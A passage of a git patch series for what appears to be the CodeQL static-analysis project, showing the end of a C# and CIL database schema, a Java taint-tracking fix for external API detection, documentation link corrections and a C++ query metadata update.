@object_creation_expr | @call_access_expr + | @local_function_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; +@cil_custom_modifier_receiver = @cil_method | @cil_property | @cil_parameter | @cil_field; // todo: add function pointer type + +#keyset[method, index] +cil_parameter( + unique int id: @cil_parameter, + int method: @cil_method ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +#keyset[id, modifier] +cil_custom_modifiers( + int id: @cil_custom_modifier_receiver ref, + int modifier: @cil_type ref, + int kind: int ref); // modreq: 1, modopt: 0 + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/094972aab8c537db2cec0b9508361ca9d4cc2006/upgrade.properties b/csharp/upgrades/094972aab8c537db2cec0b9508361ca9d4cc2006/upgrade.properties new file mode 100644 index 00000000000..d3c8ba2b9bf --- /dev/null +++ b/csharp/upgrades/094972aab8c537db2cec0b9508361ca9d4cc2006/upgrade.properties @@ -0,0 +1,2 @@ +description: Added 'anonymous_types' to store anonymous types. +compatibility: backwards From 00c253a710fab0d94a3fcd43ead512112fa983e5 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Fri, 8 Jan 2021 15:29:01 +0100 Subject: [PATCH 0466/1241] Java: Don't ignore local taint steps (fixup) --- java/ql/src/semmle/code/java/security/ExternalAPIs.qll | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/java/ql/src/semmle/code/java/security/ExternalAPIs.qll b/java/ql/src/semmle/code/java/security/ExternalAPIs.qll index 785b021d42f..f2675645a6a 100644 --- a/java/ql/src/semmle/code/java/security/ExternalAPIs.qll +++ b/java/ql/src/semmle/code/java/security/ExternalAPIs.qll @@ -75,7 +75,8 @@ class ExternalAPIDataNode extends DataFlow::Node { m.getASourceOverriddenMethod() = call.getCallee().getSourceDeclaration() and m.fromSource() ) and - // Not already modeled as a taint step + // Not already modeled as a taint step (we need both of these to handle `AdditionalTaintStep` subclasses as well) + not exists(DataFlow::Node next | TaintTracking::localTaintStep(this, next)) and not exists(DataFlow::Node next | TaintTracking::defaultAdditionalTaintStep(this, next)) and // Not a call to a known safe external API not call.getCallee() instanceof SafeExternalAPIMethod From 53c46edc1c8efa2b30750f8f53833ac19f75760e Mon Sep 17 00:00:00 2001 From: Shati Patel <42641846+shati-patel@users.noreply.github.com> Date: Fri, 8 Jan 2021 15:20:40 +0000 Subject: [PATCH 0467/1241] Address review comments --- docs/codeql/ql-language-reference/about-the-ql-language.rst | 2 +- docs/codeql/ql-language-reference/expressions.rst | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/codeql/ql-language-reference/about-the-ql-language.rst b/docs/codeql/ql-language-reference/about-the-ql-language.rst index 59d5a31201f..c24a29aea96 100644 --- a/docs/codeql/ql-language-reference/about-the-ql-language.rst +++ b/docs/codeql/ql-language-reference/about-the-ql-language.rst @@ -67,6 +67,6 @@ Further reading `Academic references <https://codeql.github.com/publications/>`__ also provide an overview of QL and its semantics. Other useful references on database query languages and Datalog: - `Database theory: Query languages <http://www.lsv.fr/~segoufin/Papers/Mypapers/DB-chapter.pdf>`__ -- `Logic Programming and Databases book - Amazon page <https://www.amazon.co.uk/Programming-Databases-Surveys-Computer-Science/dp/3642839541>`__ +- `Logic Programming and Databases book <https://doi.org/10.1007/978-3-642-83952-8>`__ - `Foundations of Databases <http://webdam.inria.fr/Alice/>`__ - `Datalog <https://en.wikipedia.org/wiki/Datalog>`__ diff --git a/docs/codeql/ql-language-reference/expressions.rst b/docs/codeql/ql-language-reference/expressions.rst index f51983063fb..a9facb0dec1 100644 --- a/docs/codeql/ql-language-reference/expressions.rst +++ b/docs/codeql/ql-language-reference/expressions.rst @@ -63,7 +63,7 @@ You can express certain values directly in QL, such as numbers, booleans, and st "hello" "They said, \"Please escape quotation marks!\"" - See `String literals <https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#string-literals-string>` + See `String literals <https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#string-literals-string>`__ in the QL language specification for more details. Note: there is no "date literal" in QL. Instead, to specify a :ref:`date <date>`, you should From 70ce5fde750413e926de38507cf76f42caca0980 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Fri, 8 Jan 2021 18:27:06 +0000 Subject: [PATCH 0468/1241] C++: Improve metadata for GlobalNamespaceClasses.ql. --- .../GlobalNamespaceClasses.ql | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/cpp/ql/src/Architecture/General Namespace-Level Information/GlobalNamespaceClasses.ql b/cpp/ql/src/Architecture/General Namespace-Level Information/GlobalNamespaceClasses.ql index 77f1be32aa0..eec387e2957 100644 --- a/cpp/ql/src/Architecture/General Namespace-Level Information/GlobalNamespaceClasses.ql +++ b/cpp/ql/src/Architecture/General Namespace-Level Information/GlobalNamespaceClasses.ql @@ -1,7 +1,8 @@ /** * @name Global namespace classes * @description Finds classes that belong to no namespace. - * @kind table + * @kind problem + * @problem.severity recommendation * @id cpp/architecture/global-namespace-classes * @tags maintainability * modularity From 